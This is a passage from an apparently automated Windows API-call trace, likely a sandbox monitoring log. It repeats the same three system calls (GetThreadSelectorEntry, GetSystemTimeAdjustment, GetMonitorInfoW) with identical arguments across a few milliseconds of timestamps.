lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.151] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.151] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.151] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.152] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.152] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.152] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.153] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.153] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.153] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.154] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.154] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.154] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: 